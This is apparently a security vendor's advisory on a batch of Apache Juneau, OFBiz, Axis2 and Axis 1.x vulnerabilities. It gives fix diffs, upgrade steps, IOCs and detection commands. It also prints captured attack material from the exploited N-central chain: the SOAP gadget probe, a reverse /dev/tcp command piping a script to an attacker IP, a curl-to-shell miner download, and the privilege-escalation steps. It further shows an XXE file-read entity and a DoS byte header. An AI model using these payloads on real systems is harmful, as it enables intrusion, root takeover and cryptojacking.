critical

CVE

CVE-2026-90436, CVE-2026-73098, CVE-2026-121489, CVE-2026-73095, CVE-2026-73099, CVE-2026-73100, CVE-2026-73101, CVE-2026-73116, CVE-2026-73117, CVE-2026-96677, CVE-2026-83542, CVE-2026-82907, CVE-2026-68524, CVE-2026-105330, CVE-2026-82910, CVE-2026-82912, CVE-2026-82960, CVE-2026-120761, CVE-2026-123753, CVE-2026-120832, CVE-2026-123770

CWE

CWE-470, CWE-22, CWE-94, CWE-287, CWE-611, CWE-918, CWE-770

Affected Surface

  • Maven `org.apache.juneau:juneau-marshall`, `juneau-rest-server`, `juneau-rest-client`, `juneau-microservice-core`, `juneau-commons`, and `juneau-shaded-*` versions `<= 9.2.0` (`CVE-2026-73098`, `CVE-2026-121489`, `CVE-2026-73095`, `CVE-2026-73099`, `CVE-2026-73100`, `CVE-2026-73101`, `CVE-2026-73116`, `CVE-2026-73117`, `CVE-2026-96677`, fixed in `9.2.1`)
  • Apache OFBiz (`org.apache.ofbiz`) versions `< 24.09.08` (`CVE-2026-83542`, `CVE-2026-82907`, `CVE-2026-68524`, `CVE-2026-73578`, `CVE-2026-105330`, `CVE-2026-82910`, `CVE-2026-82912`, `CVE-2026-82960`, and 26 companion CVEs, fixed in `24.09.08`)
  • Maven `org.apache.axis2:axis2-kernel` and Apache Axis2/Java versions `<= 2.0.1` (`CVE-2026-120761`, `CVE-2026-123753`, `CVE-2026-120832`, `CVE-2026-123766`, `CVE-2026-123770`, `CVE-2026-120367`, `CVE-2026-123779`, fixed in `2.0.2`), plus EOL Apache Axis `1.x` (`CVE-2026-90436`)
  • Apache Axis 1.x (`axis:axis` / `org.apache.axis:axis` through `1.4`, end of life, no fixed release; fix commit `41f3b4e8d0` in `apache/axis-axis1-java`) and products that embed it, including N-able N-central (exploited through `POST /dms/services/ServerUI` on servers with the Legacy API enabled, including 2026.4 Hotfix 2 build `2026.4.1.26`)

Update, 13 November 2026 (Apache Axis 1.x CVE-2026-90436 exploited in the wild): At 03:58 UTC on 12 November, researcher Sean Bales published a proof of concept called 4EverAble2Shell against N-able N-central. Its first stage is the Axis 1.x SOAP fault bug we listed below only as an end-of-life footnote. huntback’s N-central decoys saw the first check from 157.20.241[.]16 at 08:30 UTC and the full chain at 09:16 UTC. By 12:50 UTC the attacker’s mining pool listed 21 live N-central servers, 19 of them on the patched 2026.4 Hotfix 2 build 2026.4.1.26, mining Monero as nc_<ip> rigs. Axis 1.x has no fixed release. If you run it anywhere, build from commit 41f3b4e8d0 or take the endpoint off the network. On N-central, keep the Legacy API disabled. See section 4 for the code and IOCs. EPSS was 0.011 (67th percentile) on 13 November, which lags the observed exploitation.

TL;DR

Between 4 and 6 November 2026, three coordinated Apache Java security announcements on oss-security and NVD disclosed 50 CVEs across Apache Juneau, Apache OFBiz, and Apache Axis2/Java:

  1. Apache Juneau 9.2.1 (9 CVEs, oss-security 2026/11/04/7, eight rated CVSS 10.0 on NVD):
    • CVE-2026-73098 (juneau-marshall): When Juneau parses untrusted input into a bean property, map value, or parameter typed as java.lang.Class, it resolved arbitrary class names through Class.forName(...), triggering static initializers of any class on the classpath.
    • CVE-2026-121489 (juneau-microservice-core, juneau-commons): DirectoryResource concatenated request path segments onto the configured root directory without canonical boundary checks, allowing .. traversal to view (allowViews), overwrite (allowUploads), or delete (allowDeletes) arbitrary files.
    • CVE-2026-73095 (juneau-marshall, juneau-rest-server): MsgPackParser (enabled by default in BasicUniversalConfig) allocated a byte array directly from the untrusted MessagePack length prefix before reading payload bytes, letting a few-byte request trigger a multi-gigabyte OutOfMemoryError.
    • CVE-2026-73099, CVE-2026-73100, CVE-2026-73101, CVE-2026-73116, CVE-2026-73117, and CVE-2026-96677: Fixed default-enabled ?content= GET body overrides (CSRF), Authorization/Cookie header logging and redirect leaks in RestClient, CRLF response splitting, and unescaped $RQ/$RH SVL variables in HTML chrome.
  2. Apache OFBiz 24.09.08 (34 CVEs, oss-security 2026/11/04/9): Patches multiple pre-authentication and authenticated remote code execution paths, including CVE-2026-83542 (CVSS 9.8 Critical, unauthenticated RCE via login-page widget injection), CVE-2026-68524 (pre-authentication RCE via attacker-controlled screen definition loading), CVE-2026-73578 (unauthenticated saved-view authorization bypass with RCE impact), CVE-2026-82907 (CVSS 9.8 Critical, reusable pre-auth externalLoginKey capture-replay bypass), CVE-2026-105330 (hardcoded cryptographic key in JWT authentication), and CVE-2026-82910 / 82912 / 82960 (FreeMarker and Groovy sandbox-bypass RCEs).
  3. Apache Axis2/Java 2.0.2 (7 CVEs, oss-security 2026/11/06/22 to 28): Fixes an XML External Entity (XXE) injection in AxisService.createClientSideAxisService() where wsdl4j parsed <wsdl:import> and <xsd:import> documents using its own unhardened DocumentBuilderFactory (CVE-2026-120761), unauthenticated SSRF via WS-Addressing wsa:ReplyTo and wsa:FaultTo headers (CVE-2026-123753), WSDL/XSD schema import SSRF (CVE-2026-120832), and unbounded multipart/JSON request bodies (CVE-2026-123770, CVE-2026-120367).

What to do now: Upgrade org.apache.juneau:* (including juneau-shaded-*) to 9.2.1, Apache OFBiz to 24.09.08, and org.apache.axis2:* to 2.0.2.

Affected packages and projects

EcosystemProject / ArtifactKey CVEsAffected versionsFixed versionPrimary vulnerability class
Mavenorg.apache.juneau:juneau-marshall, juneau-rest-server, juneau-rest-client, juneau-microservice-core, juneau-commonsCVE-2026-73098, CVE-2026-121489, CVE-2026-73095, CVE-2026-73099, CVE-2026-73116, CVE-2026-73117, CVE-2026-96677<= 9.2.09.2.1Dynamic java.lang.Class loading, DirectoryResource traversal, MsgPackParser OOM DoS, ?content= CSRF, redirect credential leak
Java / ERPApache OFBiz (org.apache.ofbiz)CVE-2026-83542, CVE-2026-68524, CVE-2026-73578, CVE-2026-82907, CVE-2026-105330, CVE-2026-82910, CVE-2026-82912, CVE-2026-82960 (34 CVEs total)< 24.09.0824.09.08Pre-auth login-page widget RCE, screen-definition RCE, externalLoginKey replay, hardcoded JWT key, Groovy/FreeMarker SSTI
Mavenorg.apache.axis2:axis2-kernel (Apache Axis2/Java)CVE-2026-120761, CVE-2026-123753, CVE-2026-120832, CVE-2026-123766, CVE-2026-123770, CVE-2026-120367, CVE-2026-123779<= 2.0.12.0.2wsdl4j <wsdl:import> / <xsd:import> XXE, WS-Addressing ReplyTo / FaultTo SSRF, unbounded multipart/JSON DoS

Technical analysis

1. Apache Axis2/Java 2.0.2 (CVE-2026-120761 and CVE-2026-123753): why wsdl4j bypassed Axis2’s DefaultEntityResolver

When an Axis2 client or service built an AxisService from a WSDL URL via ServiceClient or AxisService.createClientSideAxisService(URL wsdlURL, ...), Axis2 parsed the top-level WSDL document using XMLUtils.newDocument(), which attached a DefaultEntityResolver to block external entities. However, Axis2 then passed that DOM Document to wsdl4j’s WSDLReader with javax.wsdl.importDocuments set to true.

Whenever the WSDL contained a <wsdl:import> or <xsd:import> element, wsdl4j (WSDLReaderImpl.getDocument()) instantiated its own DocumentBuilderFactory.newInstance() with default settings (DOCTYPE and external entity resolution enabled) to fetch and parse the imported document. An attacker who controlled a WSDL URL or an imported schema could therefore include a <!DOCTYPE ... [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> declaration inside the imported document and read local files or trigger SSRF.

In commit 1d3457d12399c7721ed3f52e7031d1d24d169460 (Axis2 2.0.2), createClientSideAxisService() disables javax.wsdl.importDocuments by default (requiring explicit opt-in via -Daxis2.wsdl.importDocuments=true), wraps opt-in imports in a new SecureWSDLLocator that pre-parses every imported stream with disallow-doctype-decl=true before handing it to wsdl4j, and hardens XMLUtils.getDOMFactory() directly:

--- a/modules/kernel/src/org/apache/axis2/description/AxisService.java
+++ b/modules/kernel/src/org/apache/axis2/description/AxisService.java
@@ -2372,8 +2372,16 @@ public static AxisService createClientSideAxisService(URL wsdlURL,
             String namespaceURI = doc.getDocumentElement().getNamespaceURI();
             if (Constants.NS_URI_WSDL11.equals(namespaceURI)) {
                 WSDLReader reader = WSDLUtil.newWSDLReaderWithPopulatedExtensionRegistry();
-                reader.setFeature("javax.wsdl.importDocuments", true);
-                Definition wsdlDefinition = reader.readWSDL(getBaseURI(wsdlURL.toString()), doc);
+                boolean allowImports = Boolean.getBoolean("axis2.wsdl.importDocuments");
+                reader.setFeature("javax.wsdl.importDocuments", allowImports);
+                Definition wsdlDefinition;
+                if (allowImports) {
+                    // Use hardened WSDLLocator to prevent XXE in imported documents
+                    wsdlDefinition = reader.readWSDL(
+                            new org.apache.axis2.util.SecureWSDLLocator(wsdlURL.toString()));
+                } else {
+                    wsdlDefinition = reader.readWSDL(getBaseURI(wsdlURL.toString()), doc);
+                }

In the same release, CVE-2026-123753 (commits 1671a68660df and 1b6856b4d790) closes an unauthenticated SSRF vector where any SOAP request carrying a non-anonymous WS-Addressing <wsa:ReplyTo> or <wsa:FaultTo> URL caused Axis2 to open an outbound connection and POST the SOAP response or fault to the caller’s target address; 2.0.2 refuses non-anonymous response endpoints unless allowNonAnonymousResponseEndpoints is explicitly enabled.

2. Apache Juneau 9.2.1 (CVE-2026-73098, CVE-2026-73095, CVE-2026-121489, CVE-2026-73099, CVE-2026-73116)

Apache Juneau 9.2.1 hardens five dangerous defaults in its marshalling and REST layers:

  • Dynamic java.lang.Class resolution (CVE-2026-73098): Deserializing a JSON, XML, HTML, UrlEncoding, OpenAPI, or MsgPack payload into a field or collection of type java.lang.Class<?> invoked Class.forName() on the untrusted string. Juneau 9.2.1 blocks Class deserialization unless an explicit class allowlist is configured.
  • MsgPackParser length-prefix heap exhaustion (CVE-2026-73095): Because BasicUniversalConfig registers MsgPackParser on REST endpoints by default, an unauthenticated client sending Content-Type: octets/msgpack with a 5-byte bin 32 or str 32 header (0xc6 0x7f 0xff 0xff 0xff) forced an immediate ~2 GB byte[] allocation before reading any body bytes. Version 9.2.1 caps single element allocations at 16 MiB by default and lowers the default @Rest(maxInput) limit from 100 MB to 1 MB.
  • ?content= GET body override (CVE-2026-73099) and RestClient redirect credential leak (CVE-2026-73116): Juneau’s REST server previously allowed a ?content=... query parameter on GET requests to replace the request body (enabling cross-site request forgery via simple <img> or link navigations); 9.2.1 restricts content query overrides to PUT and POST. In juneau-rest-client, RestClient previously preserved Authorization and Cookie headers when following HTTP 3xx redirects to a different origin.

3. Apache OFBiz 24.09.08 (CVE-2026-83542, CVE-2026-68524, CVE-2026-82907, CVE-2026-105330)

Apache OFBiz 24.09.08 fixes 34 CVEs across its widget renderer, authentication filter, and Groovy/FreeMarker engines:

  • Unauthenticated RCE via login-page widget and screen-definition injection (CVE-2026-83542, CVE-2026-68524, and CVE-2026-73578): Request parameters rendered on the unauthenticated login page and saved-view/screen-definition loaders allowed attackers to inject widget definitions and execute arbitrary code before authentication.
  • Pre-auth externalLoginKey capture-replay (CVE-2026-82907) and hardcoded JWT signing key (CVE-2026-105330): ExternalLoginKeysManager honored externalLoginKey tokens pre-auth without binding or single-use invalidation, while JWT authentication accepted tokens signed with a hardcoded fallback cryptographic key.
  • FreeMarker and Groovy sandbox escapes (CVE-2026-82910, CVE-2026-82912, CVE-2026-82960): MacroScreenRenderer.renderLink compiled link parameters as FreeMarker template source (CVE-2026-82910), EmailServices compiled unsandboxed Groovy from a service parameter (CVE-2026-82912), and widget use-when expression evaluation bypassed the Groovy sandbox (CVE-2026-82960).

4. Apache Axis 1.x (CVE-2026-90436): SOAP fault exceptionName instantiation, exploited through N-central

When Axis 1.x parses an inbound SOAP <Fault>, the <detail> element can carry an <exceptionName> naming the Java exception class to rebuild. SOAPFaultDetailsBuilder loaded that class with ClassUtils.forName(name), which initializes it (static initializers run), and SOAPFaultBuilder then called its one-argument constructor with the attacker’s <data> value. The (AxisFault) cast came after the constructor, so a non-fault class got built anyway and the ClassCastException was swallowed. Fault parsing happens while Axis resolves the target service, before per-service handler chains run, so service-level authentication doesn’t help. Any class on the classpath with a dangerous String constructor becomes a remote code execution gadget.

N-central ships Axis 1.x behind /dms/services/ServerUI and has jline.internal.TerminalLineSettings on the classpath; its constructor runs a shell command built from its argument. huntback captured this probe:

<soapenv:Fault><faultcode>soapenv:Server</faultcode><faultstring>fault</faultstring><detail>
  <data xsi:type="xsd:string">probe</data>
  <exceptionName>jline.internal.TerminalLineSettings</exceptionName>
</detail></soapenv:Fault>

The weaponized requests replaced probe with a command that runs as the nable user, takes a flock so it runs once, and pipes a base64 Python script back over a raw TCP socket (huntback’s capture, base64 shortened):

/var/opt/n-central/tmp; exec 9</var/opt/n-central/tmp; /usr/bin/flock -n 9 || exit 0;
((/usr/bin/printf %s IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwpp...|/usr/bin/base64 -d|/usr/bin/python3 - --encoded-command bW91bnQgLW8gcmVtb3Vu...)
  >/dev/tcp/157.20.241[.]16/19202 2>&1; /usr/bin/sleep 2) </dev/null >/dev/null 2>&1 & #

That script (SHA-256 fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747) is the N-central-specific half. It symlinks /var/opt/n-central/flag/flag_default.json to /opt/nable/var/ncsai/scripts/ServerChild.sh, runs sudo nable_wrapper.pl setLDFileOwner so the helper follows the link and hands ServerChild.sh to nable, rewrites it, and triggers it as root with sudo nable_wrapper.pl serverControl noop --wait. It then restores the original file. The root command was curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_<target-ip>, which installs XMRig 6.26.0 under /tmp/.xvd with a keep.sh watchdog.

The upstream fix (commit 41f3b4e8d0, July 2026) loads the class without initializing it and refuses anything that isn’t an AxisFault:

--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultDetailsBuilder.java
         } else if ("exceptionName".equals(hint)) {
             String faultClassName = (String) value;
             try {
-                Class faultClass = ClassUtils.forName(faultClassName);
-                builder.setFaultClass(faultClass);
+                Class faultClass = ClassUtils.forName(faultClassName, false);
+                if (AxisFault.class.isAssignableFrom(faultClass)) {
+                    builder.setFaultClass(faultClass);
+                } else if (log.isDebugEnabled()) {
+                    log.debug("Ignoring fault exceptionName '" + faultClassName
+                            + "': not an org.apache.axis.AxisFault subtype");
+                }
--- a/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
+++ b/axis-rt-core/src/main/java/org/apache/axis/message/SOAPFaultBuilder.java
-                        try {
-                            Constructor con =
-                                    faultClass.getConstructor(
-                                            new Class[] { argClass });
-                            f = (AxisFault) con.newInstance(new Object[] { faultData });
+                        if (AxisFault.class.isAssignableFrom(faultClass)) {
+                            try {
+                                Constructor con =
+                                        faultClass.getConstructor(
+                                                new Class[] { argClass });
+                                f = (AxisFault) con.newInstance(new Object[] { faultData });

The same commit also fixes ClassUtils.forName(String, boolean, ClassLoader), which had been ignoring its init flag. Apache doesn’t plan an Axis 1.x release, so the commit is the only upstream fix.

IOCs (from huntback, defanged):

IndicatorContext
157.20.241[.]16Exploitation source, payload host (:8080), callback listener (TCP 19202 to 19418)
hxxp://157.20.241[.]16:8080/jup.sh, /xvgz, /xmrig.tgz, /ob/cronhit, /ob/fcheckInstaller, miner binaries, check-in beacons
139.99.69[.]109:10128, 79.76.51[.]56:39100Mining pool endpoints
fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747SHA-256 of the nable-to-root Python script
jline.internal.TerminalLineSettings in <exceptionName>Gadget class in the SOAP fault
python-requests/2.31.0User agent of weaponized requests (checks used Mozilla/5.0)
/tmp/.xvd/, /var/tmp/.xvd/, /etc/systemd/system/xvd.service, /etc/cron.d/xvd, crontab # xvkeepMiner and persistence artifacts
/var/opt/n-central/flag/flag_default.json symlink, /var/opt/n-central/tmp/serverchild-*Privilege escalation artifacts

The same wallet was running 631 rigs, with name prefixes for Jpom, FreePBX, MLflow, Apache Flink, PaperCut, SFTPGo and AJ-Report, so this operator adds new public exploits within hours.

Detection and remediation

# 1. Search Maven pom.xml and Gradle build files for vulnerable Juneau, Axis2, and Axis 1.x artifacts
rg -n 'org\.apache\.(juneau|axis2|axis)\b' pom.xml build.gradle* gradle/libs.versions.toml 2>/dev/null

# 2. Check Apache OFBiz release version in VERSION or gradle.properties
cat VERSION 2>/dev/null || rg -n 'ofbiz' gradle.properties build.gradle 2>/dev/null

# 3. Find Axis 1.x jars on disk (fat jars, WARs, appliances)
find / -xdev \( -name 'axis-1*.jar' -o -name 'axis.jar' \) 2>/dev/null
find / -xdev -name '*.jar' -size -50M 2>/dev/null | xargs -r -I{} sh -c 'unzip -l "{}" 2>/dev/null | rg -q "org/apache/axis/message/SOAPFaultDetailsBuilder.class" && echo "{}"'

# 4. Exploitation attempts: SOAP faults with exceptionName in request logs (N-central: /dms/services/ServerUI)
rg -n 'exceptionName|TerminalLineSettings' /var/log/*/access* /opt/nable/**/logs 2>/dev/null
rg -n 'POST /dms/services/ServerUI' /var/log 2>/dev/null | rg 'python-requests'

# 5. N-central host artifacts from the 4EverAble2Shell miner campaign
ls -la /tmp/.xvd /var/tmp/.xvd /etc/systemd/system/xvd.service /etc/cron.d/xvd 2>/dev/null
crontab -l -u nable 2>/dev/null | rg xvkeep; crontab -l 2>/dev/null | rg xvkeep
ls -la /var/opt/n-central/flag/flag_default.json /var/opt/n-central/tmp/serverchild-* 2>/dev/null
ps aux | rg -e '--rig-id nc_' -e '\.xvd/x'
  1. Upgrade Apache Juneau to 9.2.1: Update all org.apache.juneau:juneau-* and juneau-shaded-* dependencies to 9.2.1. Note that if your service legitimately accepts request bodies larger than 1 MB, you must set @Rest(maxInput="...") explicitly after upgrading.
  2. Upgrade Apache OFBiz to 24.09.08: Deploy 24.09.08 immediately on any internet-facing or internal OFBiz instance, invalidate existing externalLoginKey and JWT sessions, and audit web logs for requests carrying widget/screen parameters against /control/login or /control/views.
  3. Upgrade Apache Axis2/Java to 2.0.2: Update org.apache.axis2:* to 2.0.2. If an application still depends on end-of-life Apache Axis 1.x (CVE-2026-90436), migrate off Axis 1.x or block untrusted network access to Axis endpoints.
  4. Apache Axis 1.x and N-central (CVE-2026-90436, exploited): There is no fixed Axis 1.x release. Rebuild Axis from commit 41f3b4e8d0, or keep SOAP endpoints such as /dms/services/ServerUI off untrusted networks. On N-central, disable the Legacy API and follow N-able’s guidance; Hotfix 2 alone did not stop this chain. Treat any host with the IOCs above as fully compromised and rotate the credentials it holds for managed customers, since an RMM server reaches every endpoint it manages.

Timeline

  • 2026-11-03: Apache Juneau releases version 9.2.1.
  • 2026-11-04 (14:58 to 16:12 UTC): Apache Juneau (oss-security 2026/11/04/7, 9 CVEs) and Apache OFBiz (oss-security 2026/11/04/9, 34 CVEs fixed in 24.09.08) publish their security advisories.
  • 2026-11-05 (12:17 to 14:17 UTC): NVD publishes the Juneau and OFBiz CVE records (CVE-2026-73098, CVE-2026-121489, CVE-2026-83542, CVE-2026-82907, et al.).
  • 2026-11-06 (17:15 to 18:02 UTC): Robert Lazarski announces 7 Apache Axis2/Java 2.0.2 CVEs (CVE-2026-120761, CVE-2026-123753, CVE-2026-120832, CVE-2026-123766, CVE-2026-123770, CVE-2026-120367, and CVE-2026-123779) plus EOL Axis 1.x CVE-2026-90436 on oss-security.
  • 2026-11-10: N-able releases N-central 2026.4 Hotfix 2 (2026.4.1.26) for the earlier Able2Shell flaws.
  • 2026-11-12 (03:58 UTC): Sean Bales publishes the 4EverAble2Shell and Agent2Shell proofs of concept.
  • 2026-11-12 (08:30 UTC): First 4EverAble2Shell probe from 157.20.241[.]16 reaches huntback’s N-central decoys; full chain follows at 09:16 UTC.
  • 2026-11-12 (12:50 UTC): The operator’s mining pool lists 21 active nc_ rigs on production N-central servers (19 on Hotfix 2).

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References